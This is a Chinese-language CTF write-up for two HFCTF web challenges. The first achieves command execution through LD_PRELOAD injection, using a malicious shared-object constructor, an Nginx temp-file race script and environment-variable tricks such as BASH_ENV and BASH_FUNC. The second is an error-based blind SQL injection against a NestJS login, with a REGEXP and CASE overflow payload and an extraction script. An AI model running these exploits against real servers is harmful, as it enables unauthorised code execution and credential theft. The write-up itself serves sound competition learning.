参考Jacko师傅的这篇虎符CTF
写的已经很详细了,先简单梳理一下题目,题目与P师傅的这篇文章类似我是如何利用环境变量注入执行任意命令。简单来说就是不同的系统,他的system命令调用的命令不同。
php中调用system本质上是调用了sh -c,在不同操作系统中:
总结:
BASH_ENV
:可以在bash -c
的时候注入任意命令ENV
:可以在sh -i -c
的时候注入任意命令PS1
:可以在sh
或bash
交互式环境下执行任意命令PROMPT_COMMAND
:可以在bash
交互式环境下执行任意命令BASH_FUNC_xxx%%
:可以在bash -c
或sh -c
的时候执行任意命令题目就是P师傅没解决的debian系统
而这篇文章解决了这个问题hxp CTF 2021 - A New Novel LFI
Nginx对于请求的body内容会以临时文件的形式存储起来
大概思路是:
这是生成so的源文件
#include
#include
#include __attribute__ ((__constructor__)) void preload (void){unsetenv("LD_PRELOAD");system("id");system("cat /flag > /var/www/html/flag");
}
注意,在代码里加许多无用代码,我加了两万行的
a=0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0;
如图
使用以下命令编译生成so文件
gcc -shared -fPIC hook_exp.c -o hook_exp.so
后来生成的恶意so文件有163kb
接下来就是竞争脚本,注意url和恶意so文件的路径。
import requests
import _threadf=open("hook_exp.so",'rb')
data=f.read()
url="http://localhost:12333/"def upload():print("start upload")while True:requests.get(url+"index.php",data=data)def preload(fd):while True:print("start ld_preload")for pid in range(10,20):file = f'/proc/{pid}/fd/{fd}'# print(url+f"index.php?env=LD_PRELOAD={file}")resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")# print(resp.text)if 'uid' in resp.text:print("finished")exit()try:_thread.start_new_thread(upload, ())for fd in range(1, 20):_thread.start_new_thread(preload,(fd,))
except:print("error")while True:pass
当脚本运行出现finished,直接url访问、flag就会自动下载flag
这里直接搬运Jacko师傅的,我没搞出来
hint.md
```sql
CREATE TABLE `auth` (`id` int NOT NULL AUTO_INCREMENT,`username` varchar(32) NOT NULL,`password` varchar(32) NOT NULL,PRIMARY KEY (`id`),UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
``````js
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';export class User {id: number;username: string;
}function safe(str: string): string {const r = str.replace(/[\s,()#;*\-]/g, '').replace(/^.*(?=union|binary).*$/gi, '').toString();return r;
}@Injectable()
export class AuthService {constructor(private connectionProvider: ConnectionProvider) {}async validateUser(username: string, password: string): Promise | null {const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;const [rows] = await this.connectionProvider.use((c) => c.query(sql));const user = rows[0];if (user && user.password === password) {// eslint-disable-next-line @typescript-eslint/no-unused-varsconst { password, ...result } = user;return result;}return null;}
}
这道题出得挺好的
首先看代码逻辑,先对输入的username进行查询,如果有,则用输入的password同查询出来的比较
看了这个首先想到的当然是union select
,然而这里过滤了,当然这个过滤是绕不了的,双写不行,这里存在就把这个字符串替空,而不只是union
再看看hint中的regexp,在过滤了()
的前提下,regexp确实是个好函数
就想着能不能通过regexp把用户名密码匹配出来,想到了盲注
然而,盲注并非易事,这里不管有没有查询出结果,只要没拿到最终的用户名密码之前,都返回null,这就无法进行布尔盲注了
那有没有可能进行时间盲注呢?没有括号,这里调用不了像sleep()
之类的函数,哎?再结合regexp,会不会正则匹配进行延时,然而并没有想象这么简单,进过本地一番测试发现,一延时mysql直接报Timeout了 ,没法利用
然而就在没思绪地用regexp测试的时候,发现当regexp传入不合语法匹配规则的时候会报错,报错?这不是可以用报错进行布尔盲注了吗?
这时候刷新一下题目信息,还是零解,赶紧冲!
说干就干,经过几番优化之后,构造出来
SELECT * FROM auth WHERE username='' or 1 or '' regexp '?' LIMIT 1;
构造是构造出来了,其中1为布尔点,然而当我换成regexp的时候出问题了
SELECT * FROM auth WHERE username='' or username regexp '^a' or '' regexp '?' LIMIT 1;
我原以为当前面匹配的时候,就不会执行后面错误的正则匹配了,然而我错了,regexp的语法检查是在查询判断之前进行的
后面换了其他一些报错的方法,最后发现通过整型溢出可以成功
SELECT * FROM auth WHERE username='' or (username regexp '^a')+~0 or '' LIMIT 1;
当匹配的时候为真,溢出报错,不匹配的时候正常不报错
现在问题就变成了怎么去掉括号,加法的优先级高过regexp,并不是随随便便可以去掉的,这里也想了很久,最后用case来解决了这个问题
SELECT * FROM auth WHERE username=''||case`username`regexp'^a'when'1'then~0+1+''else'0'end||'' LIMIT 1;
这里有几个点:
这些可能都是一些看到了payload觉得很简单,然而真正亲手尝试的时候会遇到各种各样的坑
后面就是脚本了,同样也并不顺利,和队友交流了之后还是花了好久,不过最终还是做出来了
直接上脚本
import requests
url='http://xxx/login'
flag=''
for i in range(1,50):for ascii in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$':temp=asciiif(temp in '^!?$'):temp="\\\\\\"+temppayload={'password':'xxx','username':f"'||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'"}response=requests.post(url=url, data=payload)print(payload)print(response.text)if '500' in response.text:flag+=tempprint(flag)breakprint(ascii)
跑出用户名密码直接登陆就可以了
3、Baby Router Updater和4、ezchain,一个杂揉了web、crypto、misc、reverse,一个Java,我不会